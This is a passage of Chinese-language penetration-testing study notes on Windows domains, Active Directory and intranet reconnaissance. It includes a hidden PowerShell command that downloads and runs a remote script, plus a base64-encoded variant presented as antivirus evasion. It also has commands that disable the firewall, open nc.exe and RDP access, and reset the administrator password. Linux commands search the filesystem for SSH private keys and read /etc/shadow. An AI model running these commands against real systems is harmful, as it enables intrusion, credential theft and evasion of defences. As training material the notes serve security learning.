内网安全学习笔记
[TOC]
内网常见名词解释
1、工作组
工作组 Work Group
是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。比如在一个网络内,可能有成百上千台工作电脑,如果这些电脑不进行分组,都列在“网上邻居”内,可想而知会有多么乱。为了解决这一问题,Windows 9x/NT/2000 引用了“工作组”这个概念,比如一所高校,会分为诸如数学系、中文系之类的,然后数学系的电脑全都列入数学系的工作组中,中文系的电脑全部都列入到中文系的工作组中……如果你要访问某个系别的资源,就在“网上邻居”里找到那个系的工作组名,双击就可以看到那个系别的电脑了。在工作组中所有的计算机都是平等的,没有管理与被管理之分,因此工作组网络也称为对等网络。所以对于管理者而言,工作组的管理方式有时会不太便于管理,这时候就需要了解域的概念了。
2、域
域 Domain
可以简单的理解成工作组的升级版,如果说工作组是“免费旅店”那么域就是“星级宾馆”;工作组可以随便进进出出,而域则有严格的控制。在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器。
域控制器 Domain Controller
简写为 DC,又称域控、域控器。域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑连入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确的,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,这样就在一定程度上保护了网络上的资源。==正是因为域控起到了一个身份验证的作用,因此站在渗透的角度来说,拿下域控是至关重要的。拿下了域控,就相当于拿到了整个域内所有计算机的账号和密码。而要想实现域环境,就必须要计算机中安装活动目录,也可以说如果在内网中的一台计算机上安装了活动目录,那它就变成了域控制器。==在域中除了域控制器还有成员服务器、客户机、独立服务器。除此之外,域控制器还有以下几点常识:
-
一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题
-
Active Directory = LDAP服务器+LDAP应用(Windows域控)。就是Active Directory先实现一个LDAP服务器,然后再用这个LDAP服务器实现了自己的一个具体应用(域控)。
父域和子域
顾名思义,在一个域下新建了一个域便称其为子域。形象的来说,一个部门一个域,那个如果这个部门还有分部,那每个分部就可被称为子域,这个大的部门便称为父域。每个域中都有独立的安全策略。
主域
说明:主域有多重意思,要注意区分。
主域和父域
域树
域树由多个域组成,这些域共享同一表结构和配置,形成一个连续的名字空间。树中的域通过信任关系连接起来,活动目录包含一个或多个域树。域树中的域层次越深级别越低,一个“.”代表一个层次,如域child.Microsoft.com 就比 Microsoft.com这个域级别低,因为它有两个层次关系,而Microsoft.com只有一个层次。而域Grandchild.Child.Microsoft.com又比 Child.Microsoft.com级别低,道理一样。他们都属于同一个域树。Child.Microsoft.com就属于Microsoft.com的子域。多个域树可以组成一个域林。
域林
域林是指由一个或多个没有形成连续名字空间的域树组成,它与域树最明显的区别就在于域林之间没有形成连续的名字空间,而域树则是由一些具有连续名字空间的域组成。但域林中的所有域树仍共享同一个表结构、配置和全局目录。域林中的所有域树通过Kerberos 信任关系建立起来,所以每个域树都知道Kerberos信任关系,不同域树可以交叉引用其他域树中的对象。域林都有根域,域林的根域是域林中创建的第一个域,域林中所有域树的根域与域林的根域建立可传递的信任关系。比如benet.com.cn,则可以创建同属与一个林的accp.com.cn,他们就在同一个域林里。当创建第一个域控制器的时候,就创建了第一个域(也称林根域),和第一个林。林,是一个或多个共享公共架构和全局编录的域组成,每个域都有单独的安全策略,和与其他域的信任关系。一个单位可以有多个林。
3、活动目录
活动目录 Active Directory
,简写为 AD
,它是 Windows Server 中负责架构中大型网络环境的集中式目录管理服务,在Windows 2000 Server 开始内置于 Windows Server 产品中。目录包含了有关各种对象,例如用户、用户组、计算机、域、组织单位(OU)以及安全策略的信息。目录存储在域控上,并且可以被网络应用程序或者服务所访问。活动目录就相当于内网中各种资源的一个目录,通过活动目录用户可以快速定位到这些资源的位置。
4、DMZ
DMZ demilitarized zone
,中文名为“隔离区”,或称“非军事化区”。它是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题,从而设立的一个非安全系统与安全系统之间的缓冲区。DMZ 区可以理解为一个不同于外网或内网的特殊网络区域,DMZ 内通常放置一些不含机密信息的公用服务器,比如 WEB 服务器、E-Mail 服务器、FTP 服务器等。这样来自外网的访问者只可以访问 DMZ 中的服务,但不可能接触到存放在内网中的信息等,即使 DMZ 中服务器受到破坏,也不会对内网中的信息造成影响。
在实战中,一般由web打点进入的(比如文件上传漏洞上传webshell后打入的机器),都属于DMZ区域的机器【上面提到过了,DMZ区域一般放置 WEB 服务器、E-Mail 服务器、FTP 服务器等】
5、域内的各种权限
组
首先要理解一下组的概念,在组里包含了很多用户,组(Group)是用户帐号的集合,当管理员想要给某个用户分配权限时,只需要将用户加入到对应权限的组里就行,从而提高了管理效率,常见的组有:域本地组、全局组、通用组
- 域本地组:来自全林用于本域【多域用户访问单域资源(访问同一个域)】
- 全局组:来自本域用于全林【单域用户访问多域资源(必须是一个域里面的用户)】
- 通用组:来自全林用于全林【多域用户访问多域资源】
域用户和本地用户
这里对域用户做一些解读,便于理解。域用户,也称域内用户,就是域环境中的用户。和本地用户帐户不同,本地用户帐户保存在创建该用户的主机上的本地用户数据库中,而域用户帐户保存在活动目录中。 由于所有的用户帐户都集中保存在活动目录中,所以使得集中管理变成可能。言外之意就是,域用户帐户保存在活动目录中,而活动目录安装在域控制器上,所以域用户帐户保存在域控制器上。
再说明一点,域用户和域管理用户与这个用户原本归属于哪台主机无关(即与用户来自于哪台主机无关),而是通过用户组(域用户组、域管理用户组)进行管理的,即把用户加到用户组里就赋予了这个用户特殊的身份。本地用户则和归属于哪台主机有关,在主机A上创建的用户就是主机A的本地用户,在主机B上创建的用户就是主机B的本地用户
A-G-DL-P 策略
A-G-DL-P 策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。按照AGDLP的原则对用户进行组织和管理起来更容易。在AGDLP形成以后当给一个用户某一个权限的时候,只要把这个用户加入到某一个本地域组就可以了
- A(account)表示用户账号
- G(Global group)表示全局组
- U(Universal group)表示通用组
- DL(Domain local group)表示域本地组
- P(Permission 许可)表示资源权限
PowerShell
PowerShell常识
说明:PowerShell 可以简单的理解为 cmd 的高级版,cmd 能做的事在 PowerShell 中都能做,但 PowerShell 还能做很多 cmd 不能做的事情。PowerShell 内置在 Windows 7、Windows Server 2008 R2 及更高版本的 Windows 系统中
- PowerShell 是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象
- Windows 7 以上的操作系统默认安装
- PowerShell 脚本可以运行在内存中,不需要写入磁盘
- 可以从另一个系统中下载 PowerShell 脚本并执行
- 目前很多工具都是基于 PowerShell 开发的
- 很多安全软件检测不到 PowerShell 的活动
- cmd 通常会被阻止运行,但是 PowerShell 不会【但注意,这并不意味着所有指令都要在PowerShell中运行。恰恰相反,PowerShell会受到一些安全策略的影响,一些指令反而能在CMD中执行却不能在PowerShell中执行】
- 可以用来管理活动目录
- ps1 是PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件
Windows 操作系统对应的 PowerShell 版本信息:
- PowerShell 1.0: Windows XP SP2, Windows Server 2003 SP1/SP2
- PowerShell 2.0: Windows 7, Windows Server 2008 R2
- PowerShell 3.0: Windows 8, Windows Server 2012
- PowerShell 4.0: Windows 8.1, Windows Server 2012 R2
- PowerShell 5.0: Windows 10, Windows Server 2016
- PowerShell 5.1: Windows 10 Anniversary Update, Windows Server 2016 Anniversary Update
- PowerShell 6.0: Cross-platform (Windows, macOS, Linux)
- PowerShell 7.x: Cross-platform (Windows, macOS, Linux)
#使用以下任一命令查看 PowerShell 版本
Get-Host
$PSVersionTable
PowerShell执行策略
为了防止恶意脚本在 PowerShell 中被运行,PowerShell 有个执行策略,默认情况下,这个执行策略是受限模式Restricted
。
#查看当前执行策略
Get-ExecutionPolicy
执行策略有以下几种:
-
Restricted:不能运行脚本。
-
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)
-
AllSigned:仅当脚本由受信任的发布者签名才能运行。
-
Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名。
可以使用Set-ExecutionPolicy <policy name>设置执行策略,该命令需要管理员权限
修改后永久生效
PowerShell 运行脚本的方式
PowerShell 运行脚本的方式和其他 shell 基本一致,可以输入完整路径运行,也可以到 ps1 文件所在目录下去运行
#完整路径运行
C:\t.ps1
#前往脚本所在目录运行
cd C:\
.\t.ps1
PowerShell中的管道
PowerShell 中的管道中同样支持管道符|,下面举个例子
#在 PowerShell 中获取进程信息并以程序 ID 进行排序
Get-Process | Sort-Object ID
PowerShell命令与参数
PowerShell解释器常用参数:
-
-NoLogo:启动不显示版权标志的PowerShell
-
-WindowStyle Hidden (-W Hidden):隐藏窗口
-
-NoProfile (-NoP):不加载当前用户的配置文件
-
-EncodedCommand(–Enc):执行 base64 编码后的 powershell 脚本字符串
-
-ExecutionPolicy Bypass (-Exec Bypass) :绕过执行安全策略
-
-Noexit:执行后不退出Shell,这在使用键盘记录等脚本时非常重要
-
-NonInteractive (-Nonl):非交互模式,PowerShell 不为用户提供交互的提示
#更多参数可以使用PowerShell[.exe] -Help | -? | /?进行查看
#启动不显示版权标志的PowerShell
powershell.exe -NoLogo
#执行PowerShell脚本
New-Item test.ps1 -ItemType file
Set-Content test.ps1 -Value "calc"
PowerShell.exe -File test.ps1
#执行 base64 编码后的 powershell 脚本字符串dir 'c:\program files'
$command = "dir 'c:\program files' "
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encodedCommand
PowerShell 命令格式:在 PowerShell 下,命令的命名规范很一致,都采用了动词-名词的形式,如 Net-Item,动词一般为 Add、New、Get、Remove、Set 等。PowerShell 还兼容 cmd 和 Linux 命令,如查看目录可以使用 dir 或者 ls,其实质是通过别名实现
#文件操作类命令
#新建目录test
New-Item test -ItemType directory
#删除目录test
Remove-Item test
#新建文件test.txt
New-Item test.txt -ItemType file
#新建文件test.txt,内容为 hello
New-Item test.txt -ItemType file -value "hello"
#删除文件test.txt
Remove-Item test.txt
#查看文件test.txt内容
Get-Content test.txt
#设置文件test.txt内容
Set-Content test.txt -Value "hello"
#给文件test.txt追加内容
Add-Content test.txt -Value ",word!"
#清除文件test.txt内容
Clear-Content test.txt
绕过本地权限并执行PowerShell脚本
PowerShell.exe -ExecutionPolicy Bypass -File test.ps1
绕过本地权限并隐藏执行PowerShell脚本
#加入-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 即可隐藏执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File test.ps1
下载远程脚本绕过权限并隐藏执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"
#或者简写
PowerShell.exe -Exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"
利用 Base64 对命令进行编码
说明:使用 Base64 进行编码主要是为了混淆代码以避免被杀毒软件查杀,注意这里直接使用 Base64 编码是不行的,可以使用 Github 上的一个编码工具【https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py】
编码工具使用:下载好后,需要先将要执行的命令保存到文本文件中,比如保存到 tmp.txt 文本中,之后执行 python ps_encoder.py -s tmp.txt
即可
>cat tmp.txt
IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')
>python ps_encoder.py -s tmp.txt
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA
#使用 –Enc 指定 Base64 编码内容
PowerShell.exe -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA
本地工作组信息收集(针对Windows)
1、手动收集本地工作组信息
基础信息收集
#查看当前权限
whoami
#本机网络配置信息
ipconfig /all
#操作系统和版本信息(英文版)
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
#操作系统和版本信息(中文版)
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
#查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
#查看系统所有环境变量
set
#查看安装的软件及版本和路径等信息
wmic product get name,version
#利用 PowerShell 收集软件版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
#查询本机服务信息
wmic service list brief
#查询进程列表
tasklist /v
#wmic 查看进程信息
wmic process list brief
#查看启动程序信息
wmic startup get command,caption
#查看计划任务
schtasks /query /fo LIST /v
#查看主机开启时间
net statistics workstation
#查询用户列表
net user
#查看指定用户的信息
net user teamssix
#修改指定用户密码
net user administrator 123456
#查看本地管理员用户
net localgroup administrators
#查看当前在线用户
query user || qwinsta
#列出或断开本地计算机和连接的客户端的会话
net session
#查看端口列表
netstat –ano
#查看补丁列表
systeminfo
#使用 wmic 查看补丁列表
wmic qfe get Caption,Description,HotFixID,InstalledOn
#查看本机共享
net share
#使用 wmic 查看共享列表
wmic share get name,path,status
#查询路由表及所有可用接口的ARP 缓存表
route print
arp –a
针对数据库的信息搜集
MySQL数据库
# 快速确定包含user的字段在哪个库哪个表
SELECT
TABLE_SCHEMA AS database_name,
TABLE_NAME AS table_name,
COLUMN_NAME AS column_name
FROM
INFORMATION_SCHEMA.COLUMNS
WHERE
COLUMN_NAME LIKE '%user%';
Oracle数据库
# 快速确定包含user的字段在哪个库哪个表
SELECT
owner AS database_name,
table_name,
column_name
FROM
all_tab_columns
WHERE
column_name LIKE '%USER%'
ORDER BY
owner, table_name, column_name;
查询防火墙相关配置
- 关闭防火墙
netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
netsh advfirewall set allprofiles state off (Windows Server 2003 系统及之后版本)
- 查看防火墙配置
netsh firewall show config
- 修改防火墙配置
(Windows Server 2003 系统及之前版本)
允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
(Windows Server 2003 之后系统版本)
允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
允许 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- 自定义防火墙日志储存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
查看计算机代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
#回显如下
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
IE5_UA_Backup_Flag REG_SZ 5.0
User Agent REG_SZ Mozilla/4.0 (compatible; MSIE 8.0; Win32)
EmailName REG_SZ User@
PrivDiscUiShown REG_DWORD 0x1
EnableHttp1_1 REG_DWORD 0x1
WarnOnIntranet REG_DWORD 0x1
MimeExclusionListForCache REG_SZ multipart/mixed multipart/x-mixed-replace multipart/x-byteranges
AutoConfigProxy REG_SZ wininet.dll
UseSchannelDirectly REG_BINARY 01000000
WarnOnPost REG_BINARY 01000000
UrlEncoding REG_DWORD 0x0
SecureProtocols REG_DWORD 0xa0
PrivacyAdvanced REG_DWORD 0x0
ZonesSecurityUpgrade REG_BINARY E047C9A122D0D901
DisableCachingOfSSLPages REG_DWORD 0x1
WarnonZoneCrossing REG_DWORD 0x1
CertificateRevocation REG_DWORD 0x1
EnableNegotiate REG_DWORD 0x1
MigrateProxy REG_DWORD 0x1
ProxyEnable REG_DWORD 0x0
#参数解释
IE5_UA_Backup_Flag:Internet Explorer 5 用户代理备份标志。值为 5.0。
User Agent:用户代理字符串,标识浏览器和操作系统的版本信息。值为 Mozilla/4.0 (compatible; MSIE 8.0; Win32)。
EmailName:与用户关联的电子邮件名称。值为 User@。
PrivDiscUiShown:指示是否显示了特定的隐私提示对话框。值为 0x1。
EnableHttp1_1:指示是否启用了 HTTP 1.1 版本。值为 0x1。
WarnOnIntranet:指示是否在访问内部网站时显示警告。值为 0x1。
MimeExclusionListForCache:用于缓存排除的 MIME 类型列表。值为 multipart/mixed multipart/x-mixed-replace multipart/x-byteranges。
AutoConfigProxy:自动配置脚本的文件名。值为 wininet.dll。
UseSchannelDirectly:指示是否直接使用 Schannel 进行安全通信。值为 01000000。
WarnOnPost:指示是否在提交表单时显示警告。值为 01000000。
UrlEncoding:URL 编码设置。值为 0x0。
SecureProtocols:指定启用的安全协议。值为 0xa0。
PrivacyAdvanced:高级隐私设置。值为 0x0。
ZonesSecurityUpgrade:区域安全升级标志。值为 E047C9A122D0D901。
DisableCachingOfSSLPages:指示是否禁用缓存 SSL 页面。值为 0x1。
WarnonZoneCrossing:指示是否在区域间导航时显示警告。值为 0x1。
CertificateRevocation:指示是否启用证书吊销检查。值为 0x1。
EnableNegotiate:指示是否启用了协商身份验证。值为 0x1。
MigrateProxy:指示是否迁移代理设置。值为 0x1。
ProxyEnable:指示是否启用代理。值为 0x0。
查询并开启远程连接服务(远程桌面)
- 查看远程桌面连接端口(0xd3d换成10进制即3389)
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
- 在Windows Server 2003 中开启3389 端口
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
- 在Windows Server 2008 和Windows Server 2012 中开启3389 端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2、自动收集本地工作组信息
wmic 脚本
wmic 脚本下载地址:https://www.fuzzysecurity.com/scripts/files/wmic_info.rar
直接将脚本在目标主机上运行,运行结束后会生成一个 output.html 文件
PowerShsell Empire
说明:PowerShsell Empire中文简称 “帝国” ,是一款针对 Windows 系统平台而打造的渗透工具,以下是 Empire 和万能的 MSF 的一些区别。
- MSF 是全平台的,无论是win,linux,mac都可以打,但 Empire 是只针对 Windows 的
- MSF 集信息收集,渗透,后渗透,木马,社工的功能为一体,全面多能;而 Empire 专注于内网渗透,它是针对 PowerShell 的
当使用 Empire 使主机上线后,可调用powershell/situational_awareness/host/winenum
模块查看本机用户信息、系统基本信息、剪贴板等等信息
调用powershell/situational_awareness/host/computerdetails
模块可查看更丰富的信息,比如RDP登录信息、主机时间日志等等,在运行这个模块时需要管理员权限
PowerShsell Empire安装:
sudo docker pull empireproject/empire
sudo docker run -it -p 7000:7000 --name empire empireproject/empire /bin/bash
sudo ./setup/reset.sh 【会报Enter server negotiation password,enter for random generation,直接回车即可】
#需要先升级pip
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python get-pip.py 【可能网络问题会失败,多试几次】
ln -s /usr/local/bin/pip2.7 /usr/bin/pip
pip install pefile 【直接运行会报缺少这个包】
#启动运行empire
sudo ./empire
#退出直接ctrl+d
sudo docker ps -a 【记下容器ID,方便下次启动】
sudo docker start f9f75cc514c8 【启动容器】
sudo docker exec -it f9f75cc514c8 /bin/bash 【进入容器】
sudo ./empire
#启动并进入容器
sudo docker start -a -i f9f75cc514c8
sudo ./empire
相关文章:
- https://www.anquanke.com/post/id/236174
- https://www.cnblogs.com/yokan/p/13179730.html
- https://blog.csdn.net/u013930899/article/details/124871901
- https://www.cnblogs.com/summer14/p/17267303.html
- https://mp.weixin.qq.com/s?__biz=MzIwOTMzMzY0Ng==&mid=2247484949&idx=1&sn=2ac6d8a4bd2b76772315b8b6373835d7
针对Linux的信息搜集
# 显示当前登录用户的相关信息,包括登录名、终端、登录时间、运行时间以及当前正在运行的进程
w
# 显示最近登录系统的用户列表
last
# 列出所有的超级用户账户
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
# 查看是否存在空口令用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow
# 查看远程登录的账号
awk '/\$1|\$6/{print $1}' /etc/shadow
# 其他用户的历史命令文件
cat /home/user/.bash_history
cat /root/.bash_history
# 列出iptables防火墙的配置规则
iptables -L
# 查找当前可读可写可执行的目录并将结果写入res.txt
find / -type d -perm /u=rwx -user $(whoami) > res.txt
# 查找带有suid的文件
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2>/dev/null
# 查找可写文件
find / -writable -type f ! -path '/proc/*' 2>/dev/null
# 搜索包含SSH密钥的文件
grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN RSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
域内信息收集
1、判断是否存在域
ipconfig
方法1:
判断依据:查看网关 IP 地址、DNS 的 IP 地址、域名、本机是否和 DNS 服务器处于同一网段
ipconfig /all
接着使用 nslookup 解析域名的 IP 地址,查看是否与 DNS 服务器为同一 IP
nslookup teamssix.com
方法2:
判断依据:当前主机如果处于工作组但未加入域中,则主DNS后缀为空。如果加入了域则主DNS为域名
- 工作组中
只要没有加入域,主机的网卡不管有没有自定义dns服务器ip。 执行 ipconfg /all 后主DNS后缀都为空
- 域环境
只要加入域,不管当前用户为域用户还是本地用户,主DNS后缀都为域名
系统详细信息
systeminfo
或
systeminfo | findstr 域:
#显示项中的“域”即域名,“登录服务器”即域控制器
#显示项中的“登录服务器”即域控制器
工作组环境systeminfo查询的显示为WORKGROU
域环境查询的域是域名【域中,不管此时是什么用户登录。查询的域是域名】
当前登录域与域用户
net config workstation
或
net config workstation | findstr 域
#显示项的“工作站域 DNS 名称”即域名(若为“WORKGROUP”则表示不在域中)
#显示项的“登录域”用于表示当前登录的用户是域用户还是本地用户
#登录域和工作站域相同就说明当前登录的用户是域用户(待考证)
判断主域控制器
#原理:通常来说主域服务器也会作为时间服务器
#该命令显示主域控制器的时间信息,包括主域控制器名称、当前日期和时间
net time /domain
- 如果当前主机处于工作组中但未加入域,则显示找不到域控制器
- 加入了域,且当前用户仅为本地用户包括本地管理员,则显示拒绝访问
- 加入了域,且当前用户为域用户,则显示域控的时间
2、收集域内基础信息
说明:以下查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时需要进行权限认证。只有域用户才拥有此权限,本地用户无法运行介绍的查询命令(System权限用户除外)。在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上“$”。System权限用户对应的就是域里面的机器用户,所以System权限用户也可以运行以下查询命令
机器用户的密码一般都是长度很长的随机字符
查看域
net view /domain
查看域内所有计算机
#回显域内所有计算机的计算机名
net view /domain:domain_name
说明:通过查询得到的计算机名,可以对计算机角色进行初步判断
- dev:可能是开发服务器
- web、app:可能是Web服务器
- NAS:可能是存储服务器
- fileserver:可能是文件服务器
计算机名和主机名:
查看域内所有用户组列表
net group /domain
系统自带的常见用户组:
- Domain Admins:域管理员组
- Domain Computers:域内机器组
- Domain Controllers:域控制器组
- Domain Guests:域访客组,权限较低
- Domain Users:域用户组
- Enterprise Admins:企业系统管理员用户组
说明:在默认情况下,Domain Admins和Enterprise Admins对域内所有域控制器有完全控制权限
查看域用户组信息
#net group "用户组名" /domain
net group "Enterprise Admins" /domain
查看域密码策略信息
net accounts /domain
查看域信任信息
nltest /domain_trusts
3、收集域用户和管理员信息
查询域用户列表
#该命令用于检索当前所在域中的用户账户信息,并不包括本地计算机上的用户账户
net user /domain
说明:这里提一个很经典的域用户,即krbtgt用户,这个用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化方法
查询域用户详细信息
wmic useraccount get /all
查询存在的域用户
dsquery user
常用的 dsquery 命令
dsquery computer - 查找目录中的计算机
dsquery contact - 查找目录中的联系人
dsquery subnet - 查找目录中的子网
dsquery group - 查找目录中的组
dsquery ou - 查找目录中的组织单位
dsquery site - 查找目录中的站点
dsquery server - 查找目录中的域控制器
dsquery user - 查找目录中的用户
dsquery quota - 查找目录中的配额
dsquery partition - 查找目录中的分区
dsquery * - 用通用的 LDAP 查询查找目录中的任何对象
查询本地管理员组用户
说明:Domain Admins组中的用户默认为域内机器的本地管理员用户(即Domain Admins组会默认被添加到每台域成员计算机的本地Administrators组中),在实际应用中,为了方便管理,会有域用户被设置为域机器的本地管理员用户。注意,可以把成员/组加到另一个组中,套娃的玩法
net localgroup administrators
查询域管理员组用户
net group "Domain Controllers" /domain
查询企业系统管理员用户组用户
net group "Enterprise Admins" /domain
4、查找域控制器
机器名和主机名的区别
查看域控制器机器名
方法1:
#nltest /DCLIST:域名
nltest /DCLIST:teamssix
#回显的形如dc.teamssix.com,格式:机器名.域名,所以下面这个案例中的机器名是“dc”
net time /domain和nltest /DCLIST:teamssix的区别:
方法2:
netdom query pdc
方法3:
#原理:查看域控制器组的成员信息,并且所有的机器都有一个机器用户,其用户名为机器名加上“$”
net group "Domain Controllers" /domain
#比如下面的例子,根据用户名为WIN-SERVER-DC$,就可以知道该域控制器的机器名为WIN-SERVER-DC
查看域控器主机名
nslookup -type=SRV _ldap._tcp
#回显如dc.teamssix.com,格式:主机名.域名,所以下面这个案例中的主机名恰好也是“dc”
域控制器(DC)与主域控制器(PDC):
5、定位域管理员
说明:定位域管理员的常规渠道,一是日志,二是会话
-
日志:指本地机器的管理员日志,可以使用脚本或Wevtutil工具导出并查看
-
会话:指域内每台机器的登录会话,可以使用netsess.exe或PowerView等工具查询(可以匿名查询,不需要权限)
psloggedon
说明:使用 psloggedon 可以查看本地登录的用户和通过本地计算机或远程计算机进行资源登录的用户
psloggedon 下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
psloggedon.exe [-] [-l] [-x] [\\computername|username]
- 显示支持的选项和用于输出值的单位。
-l 仅显示本地登录,不显示本地和网络资源登录。
-x 不显示登录时间。
\\computername 指定要列出登录信息的计算机的名称。
Username 指定用户名,在网络中搜索该用户登录的计算机。
#案例演示
psloggedon.exe \\DC
psloggedon.exe -l \\192.168.7.7
PVEFindADUser
说明:PVEFindADUser 用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务器和计划任务的用户,该工具需要管理员权限。
PVEFindADUser 下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
-h 显示帮助信息
-u 检测程序是否有新版本
-current ["username"] 获取目标计算机上当前登录的所有用户。如果指定用户名(在引号之间),则仅将显示该用户登录的计算机
-noping 阻止尝试枚举用户登录名之前对目标计算机执行ping命令
-target 此可选参数允许您指定要查询的主机。如果未指定此-target参数,则将查询当前域中的所有主机。如果决定指定-target,然后指定以逗号分隔的主机名。查询结果将被输出到report.csv文件中
PVEFindADUser.exe -current
#显示域中所有计算机(计算机、服务器、域控制器等)上当前登录的所有用户
netview
说明:netview 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 寻找登录会话,利用 NetShareEnum 寻找共享,利用 NetWkstaUserEnum 枚举登录的用户,netview 可以查询共享入口和有价值的用户,其绝大部分功能无需管理员权限就可使用。
Netview 下载地址:https://github.com/mubix/netview
-h 显示帮助信息
-f filename.txt 指定要提取主机列表的文件
-e filename.txt 指定要排除的主机名的文件
-o filename.txt 将所有输出重定向到指定的文件
-d domain 指定要提取主机列表的域。如果没有指定,则从当前域中提取主机列表
-g group 指定搜索的组名。如果没有指定,则在Domain Admins组中搜索
-c 对已找到的共享目录/文件的访问权限进行检查
-i interval 枚举主机之间等待的秒数
-j jitter 应用于间隔的抖动百分比(0.0-1.0)
netview.exe -d
#从当前域中提取主机列表
nmap的NSE 脚本
常用的 NSE 脚本如下:
smb-enum-domains.nse
:对域控制器进行信息收集,可以获取主机信息、用户、可使用密码策略的用户等smb-enum-users.nse
:在进行域渗透时,如获取了域内某台主机权限,但权限有限,无法获取更多的域用户信息,可借助此脚本对域控制器进行扫描smb-enum-shares.nse
:遍历远程主机的共享目录smb-enum-processes.nse
:对主机的系统进程进行遍历,通过此信息,可知道目标主机运行着哪些软件smb-enum-sessions.nse
:获取域内主机的用户登录会话,查看当前是否有用户登录,且不需要管理员权限smb-os-discovery.nse
:收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等信息
NES 脚本下载地址:https://nmap.org/nsedoc/scripts/
nmap --script=NSE脚本 -p 端口 IP
#nmap --script=smb-os-discovery.nse -p 445 192.168.7.107
PowerView 脚本
说明:PowerView 脚本中包含了一系列的 powershell 脚本,要使用 PowerView 脚本需要将 PowerView 文件夹复制到 PowerShell 的 Module 文件夹内, Module 文件夹路径可以通过在 PowerShell 中输入 $Env:PSModulePath
